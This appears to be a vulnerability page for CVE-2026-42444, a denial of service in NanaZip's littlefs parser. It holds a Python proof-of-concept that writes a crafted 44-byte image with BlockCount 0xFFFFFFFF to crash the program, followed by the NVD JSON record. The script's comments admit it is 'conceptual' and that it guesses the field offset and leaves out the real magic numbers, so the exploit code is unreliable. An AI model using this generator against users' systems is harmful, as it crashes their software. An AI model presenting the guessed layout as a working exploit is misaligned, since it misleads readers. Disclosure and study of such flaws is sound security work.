CVE-2026-42444

import struct # PoC to generate a malicious littlefs image causing DoS in NanaZip # The vulnerability is triggered by a crafted BlockCount in the superblock. # Littlefs superblock structure (simplified for PoC): # Offset 8: Block Count (uint32_t) block_count = 0xFFFFFFFF # Malicious value causing ~4 billion allocations # Constructing a minimal fake littlefs header (44 bytes as mentioned in description) # Note: Real littlefs has specific magic numbers, this targets the specific offset logic. # This is a conceptual PoC generator. data = bytearray(44) # Fill some placeholder magic bytes if necessary, but focus on BlockCount # Assuming BlockCount is at offset 8 (common in fs superblocks) or similar. # Based on NanaZip source/context, we set the specific offset. # For demonstration, we set the 4 bytes at index 8. data[8:12] = struct.pack('<I', block_count) with open('crash_nanazip.lfs', 'wb') as f: f.write(data) print("PoC file 'crash_nanazip.lfs' generated.")

{"cve": {"id": "CVE-2026-42444", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:41.653", "lastModified": "2026-05-14T20:17:04.670", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, a denial-of-service vulnerability exists in the littlefs filesystem image parser in NanaZip. The handler's Open method reads BlockCount directly from the attacker-controlled superblock without any validation against the actual file size or any upper-bound ceiling, then iterates BlockCount times, allocating a file-path entry per iteration. A crafted 44-byte littlefs image with BlockCount = 0xFFFFFFFF causes ~4 billion heap allocations, exhausting available memory. This vulnerability is fixed in 6.0.1698.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-7hqh-mq57-wjmq", "source": "[email protected]"}, {"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-7hqh-mq57-wjmq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}